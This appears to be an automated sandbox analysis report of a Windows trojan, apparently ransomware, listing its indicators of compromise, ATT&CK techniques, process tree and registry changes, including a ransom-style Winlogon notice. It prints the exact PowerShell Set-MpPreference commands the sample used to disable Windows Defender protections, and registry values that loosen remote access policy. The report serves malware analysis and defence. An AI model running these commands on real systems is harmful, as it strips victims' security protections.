1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554

Resubmissions

29-10-2021 14:41

211029-r2gbcaded2 10

23-03-2021 18:12

210323-jcrea62pfn 10

Analysis

max time kernel
150s
max time network
150s
platform
windows10_x64
resource
win10v20201028
submitted
23-03-2021 18:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Size

368KB
MD5

2a6f56addd8adcbb1a6cc8e1d6090012
SHA1

03227744a280d56267cbef448f7e54a924f46173
SHA256

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554
SHA512

63d951d531ac8c9be311a73ab3c70f3b0afe77a71bbc949ede5564bc98de523bc324c926cb9d4a49dd25171f62333e645e4a56d9e2b4cceab3976672a4eba2c0

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Disables Task Manager via registry modification
evasion
Executes dropped EXE 6 IoCs

Processes:

oerdk2ed.exeoerdk2ed.exeoerdk2ed.exeoerdk2ed.exeoerdk2ed.exedismhost.exe

pid process

10764 oerdk2ed.exe
13352 oerdk2ed.exe
15520 oerdk2ed.exe
17912 oerdk2ed.exe
17976 oerdk2ed.exe
8000 dismhost.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Loads dropped DLL 5 IoCs

Processes:

dismhost.exe

pid process

8000 dismhost.exe
8000 dismhost.exe
8000 dismhost.exe
8000 dismhost.exe
8000 dismhost.exe
Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

12172 icacls.exe
12164 icacls.exe
12156 icacls.exe

pid	process
10764	oerdk2ed.exe
13352	oerdk2ed.exe
15520	oerdk2ed.exe
17912	oerdk2ed.exe
17976	oerdk2ed.exe
8000	dismhost.exe

pid	process
8000	dismhost.exe
8000	dismhost.exe
8000	dismhost.exe
8000	dismhost.exe
8000	dismhost.exe

pid	process
12172	icacls.exe
12164	icacls.exe
12156	icacls.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Внимание внимание внимание!!!"	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Нужна помощь наших специалистов?\r\n\r\nНапишите на почту - [email protected]\r\n\r\nВас обязательно проконсультируют и помогут Вам."	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

Drops file in Windows directory 2 IoCs

Processes:

powershell.exedismhost.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\DISM\dism.log	powershell.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Discovers systems in the same network 1 TTPs 1 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exe

pid process

9188 net.exe

pid	process
9188	net.exe

Kills process with taskkill 57 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
12100	taskkill.exe
11996	taskkill.exe
10720	taskkill.exe
9636	taskkill.exe
11948	taskkill.exe
10664	taskkill.exe
10416	taskkill.exe
10336	taskkill.exe
11956	taskkill.exe
10648	taskkill.exe
10556	taskkill.exe
10544	taskkill.exe
3380	taskkill.exe
11424	taskkill.exe
12108	taskkill.exe
11888	taskkill.exe
10468	taskkill.exe
10400	taskkill.exe
9656	taskkill.exe
12048	taskkill.exe
12012	taskkill.exe
10532	taskkill.exe
10388	taskkill.exe
11980	taskkill.exe
11972	taskkill.exe
10348	taskkill.exe
11392	taskkill.exe
10624	taskkill.exe
10520	taskkill.exe
10440	taskkill.exe
10312	taskkill.exe
10300	taskkill.exe
9668	taskkill.exe
12020	taskkill.exe
11964	taskkill.exe
10512	taskkill.exe
10280	taskkill.exe
10456	taskkill.exe
10428	taskkill.exe
12120	taskkill.exe
12060	taskkill.exe
11384	taskkill.exe
10680	taskkill.exe
10372	taskkill.exe
9676	taskkill.exe
9628	taskkill.exe
11284	taskkill.exe
11404	taskkill.exe
11304	taskkill.exe
10704	taskkill.exe
12072	taskkill.exe
10360	taskkill.exe
9644	taskkill.exe
11296	taskkill.exe
10324	taskkill.exe
11872	taskkill.exe
10504	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2124 reg.exe
Runs net.exe

pid	process
2124	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

pid	process
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeIncreaseQuotaPrivilege	3276	powershell.exe
Token: SeSecurityPrivilege	3276	powershell.exe
Token: SeTakeOwnershipPrivilege	3276	powershell.exe
Token: SeLoadDriverPrivilege	3276	powershell.exe
Token: SeSystemProfilePrivilege	3276	powershell.exe
Token: SeSystemtimePrivilege	3276	powershell.exe
Token: SeProfSingleProcessPrivilege	3276	powershell.exe
Token: SeIncBasePriorityPrivilege	3276	powershell.exe
Token: SeCreatePagefilePrivilege	3276	powershell.exe
Token: SeBackupPrivilege	3276	powershell.exe
Token: SeRestorePrivilege	3276	powershell.exe
Token: SeShutdownPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeSystemEnvironmentPrivilege	3276	powershell.exe
Token: SeRemoteShutdownPrivilege	3276	powershell.exe
Token: SeUndockPrivilege	3276	powershell.exe
Token: SeManageVolumePrivilege	3276	powershell.exe
Token: 33	3276	powershell.exe
Token: 34	3276	powershell.exe
Token: 35	3276	powershell.exe
Token: 36	3276	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeIncreaseQuotaPrivilege	808	powershell.exe
Token: SeSecurityPrivilege	808	powershell.exe
Token: SeTakeOwnershipPrivilege	808	powershell.exe
Token: SeLoadDriverPrivilege	808	powershell.exe
Token: SeSystemProfilePrivilege	808	powershell.exe
Token: SeSystemtimePrivilege	808	powershell.exe
Token: SeProfSingleProcessPrivilege	808	powershell.exe
Token: SeIncBasePriorityPrivilege	808	powershell.exe
Token: SeCreatePagefilePrivilege	808	powershell.exe
Token: SeBackupPrivilege	808	powershell.exe
Token: SeRestorePrivilege	808	powershell.exe
Token: SeShutdownPrivilege	808	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeSystemEnvironmentPrivilege	808	powershell.exe
Token: SeRemoteShutdownPrivilege	808	powershell.exe
Token: SeUndockPrivilege	808	powershell.exe
Token: SeManageVolumePrivilege	808	powershell.exe
Token: 33	808	powershell.exe
Token: 34	808	powershell.exe
Token: 35	808	powershell.exe
Token: 36	808	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeIncreaseQuotaPrivilege	400	powershell.exe
Token: SeSecurityPrivilege	400	powershell.exe
Token: SeTakeOwnershipPrivilege	400	powershell.exe
Token: SeLoadDriverPrivilege	400	powershell.exe
Token: SeSystemProfilePrivilege	400	powershell.exe
Token: SeSystemtimePrivilege	400	powershell.exe
Token: SeProfSingleProcessPrivilege	400	powershell.exe
Token: SeIncBasePriorityPrivilege	400	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

description	pid	process	target process
PID 4700 wrote to memory of 3276	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3276	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 808	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 808	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 400	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 400	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 1132	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 1132	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 1384	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 1384	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4348	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4348	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3164	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3164	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4476	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4476	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 2684	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 2684	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4648	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4648	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4504	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 4504	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3124	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3124	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 744	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 744	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	powershell.exe
PID 4700 wrote to memory of 3380	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	taskkill.exe
PID 4700 wrote to memory of 3380	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	taskkill.exe
PID 4700 wrote to memory of 976	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	reg.exe
PID 4700 wrote to memory of 976	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	reg.exe
PID 4700 wrote to memory of 2124	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 2124	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 3664	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	schtasks.exe
PID 4700 wrote to memory of 3664	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	schtasks.exe
PID 4700 wrote to memory of 2748	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 2748	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 1944	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	cmd.exe
PID 4700 wrote to memory of 1944	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	cmd.exe
PID 4700 wrote to memory of 1476	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 1476	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 4020	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	netsh.exe
PID 4700 wrote to memory of 4020	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	netsh.exe
PID 4700 wrote to memory of 4036	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	netsh.exe
PID 4700 wrote to memory of 4036	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	netsh.exe
PID 4700 wrote to memory of 616	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	Conhost.exe
PID 4700 wrote to memory of 616	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	Conhost.exe
PID 4700 wrote to memory of 5132	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5132	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5164	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5164	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5216	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5216	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5252	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5252	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5316	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5316	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5384	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	arp.exe
PID 4700 wrote to memory of 5384	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	arp.exe
PID 4700 wrote to memory of 5448	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5448	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	sc.exe
PID 4700 wrote to memory of 5496	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 5496	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 5544	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe
PID 4700 wrote to memory of 5544	4700	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe	net.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Внимание внимание внимание!!!"	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "Нужна помощь наших специалистов?\r\n\r\nНапишите на почту - [email protected]\r\n\r\nВас обязательно проконсультируют и помогут Вам."	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe

C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe
"C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
1⤵
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3164
